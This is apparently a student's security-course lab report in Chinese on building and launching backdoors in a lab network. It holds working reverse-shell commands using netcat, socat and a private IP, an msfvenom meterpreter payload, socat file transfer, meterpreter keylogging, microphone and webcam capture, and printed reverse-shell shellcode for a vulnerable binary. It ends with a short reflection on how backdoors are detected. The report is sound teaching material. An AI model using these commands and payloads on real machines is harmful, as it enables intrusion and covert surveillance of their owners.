zoukankan      html  css  js  c++  java
  • 175210 Exp2 后门原理与实践

    预备工作

    • 很多博客都说要配置桥接以达到主机和虚拟机通信的效果,但其实 Nat 模式就可以达到这个效果,我用的是 Nat 模式。
    • 虚拟机安装 metasploit,这个框架默认的数据库是 postgresql,终端报创建数据库相关错误的,和我一样重装 postgresql 吧……
    • 打开 windows10 麦克风和摄像头使用权限(在设置中),关闭所有杀毒软件。

    实验

    一、使用netcat获取主机操作Shell,cron启动

    • nc命令
    -l (listen) 表示监听
    -p (port) 指定端口
    -e (execute) 指定可执行数据流
    
    • cron定时任务
    按此格式设置
    m分钟   h小时  dom日期 mon月 dow周几   command执行的命令
    
    • 步骤
      • 设置 cron,输入 crontab -e,选择nvim编辑配置文件

      • 设置在每个小时的第32分钟执行后面的那条指令。(据我观察第32分钟后这个进程就会一直跑下去,和我想象的不一样)

      • 到了32分,上面的那条指令就会执行,此时 windows10 获得 shell

    二、使用socat获取主机操作Shell, 任务计划启动

    • socat命令

      • socat <addr> <addr>在两个地址间形成的是一个 双向通道 ,类似于 nodejs 中的 pipe,可以边读边写
      • socat -u 命令可以指定数据流的方向,即一个单项通道
      • 以下是部分标识
        
        -     STDIN,STDOUT 表示标准输入输出
        
        TCP:: 建立一个 TCP 连接作为数据流,TCP 也可以替换为 UDP
        
        TCP-LISTEN: 建立一个 TCP 监听端口,TCP 也可以替换为 UDP
        
        EXEC: 执行一个程序作为数据流
        
      • 具体例子可以看这篇博客
        https://www.hi-linux.com/posts/61543.html
    • 步骤

      • 设置windows10任务计划程序。搜索管理工具,点击任务计划程序

      • 设置触发器(触发的时间与频率)

      • 设置操作,添加可执行文件(socat.exe)的文件路径及参数。相当于 执行 socat exec:cmd.exe,pty tcp:192.168.80.139:8888。注意,exec: 后面必须要加上pty,否则会报找不到管道的错误。具体解释:Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty's slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX)。翻译成中文仍不明白它在说什么,尴尬。

      • 在 14:49 时,此任务触发。我们可以在任务列表中找到这个进程

      • linux 上启动监听 socat - tcp-listen:8888,获得windows shell

      • 删除此任务

    三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 生成后门文件
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f exe > mt_backdoor.exe

      参数说明详见实验指导

    • 使用socat将可执行文件发送至 windows

      虚拟机开启监听

      windows 使用 .socat.exe -u tcp:192.168.80.139:2000 open:mt_backdoor.exe,create 接收可执行文件

    • 虚拟机开启监听

    • windows terminal 上运行.mt_backdoor.exe,linux 平台获得远程监听 shell

    四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 查看arp 缓存

    • sysinfo查看系统信息

    • keyscan_start开始抓取击键记录,keyscan_dump输出击键记录,keyscan_stop停止

    • record_mic获取主机麦克风内容,-d指定录制时长

    • webcam_snap获取使用摄像头拍摄

    • shell可以获取交互式shell

    • 使用getsystem提权windows10失败。别人的博客说要利用其他的漏洞(windows/local/bypassuac),菜鸟表示目前没看懂。

    五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 使用如下shellcode xc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80

    • 前四个字节( retaddr )应覆盖为shellcode在内存中的地址,方法同实验一,这里就不截图了。

    • 开启服务端监听

    • 注入shellcode

    • 设置msf并获得结果

      • use exploit/multi/handler
      • set payload linux/x86/shell_reverse_tcp
      • set LHOST 127.0.0.1
      • set LPORT 4444
      • exploit

    六、思考与总结

    1、基础问题回答

    • 例举你能想到的一个后门进入到你系统中的可能方式?

      安装的第三方软件可能包含后门。下载的图片也可能包含后门

    • 例举你知道的后门如何启动起来(win及linux)的方式

      • linux: cron定时任务
      • windows: 任务计划程序,自启动项
    • Meterpreter有哪些给你映像深刻的功能

      • screenshare可以实时分享屏幕,虽然效果很糟糕
      • 可以调用ruby shell,这么复杂的工具竟然是用ruby写的
    • 如何发现自己有系统有没有被安装后门

      • 查看端口占用情况,注意被占用的过大的端口
      • 查看自启动项
      • 杀毒软件检测

    2、实验总结体会

    除了提权(未解决)之外没有遇到什么阻碍。做实验时觉得新奇好玩,现在想想还是挺复杂的,meterpreter 真的是对着指导书输指令,输完了就忘了好多。

  • 相关阅读:
    Java 密码扩展无限制权限策略文件
    深入浅出Mybatis系列(八)---mapper映射文件配置之select、resultMap
    git 常用功能 _fei
    ActiveMQ 使用
    【dp】导弹拦截
    【dp】求最长上升子序列
    【贪心】1225 金银岛
    最大子矩阵
    归并排序求逆序对
    服务器安全部署文档
  • 原文地址:https://www.cnblogs.com/mtzf/p/12549549.html
Copyright © 2011-2022 走看看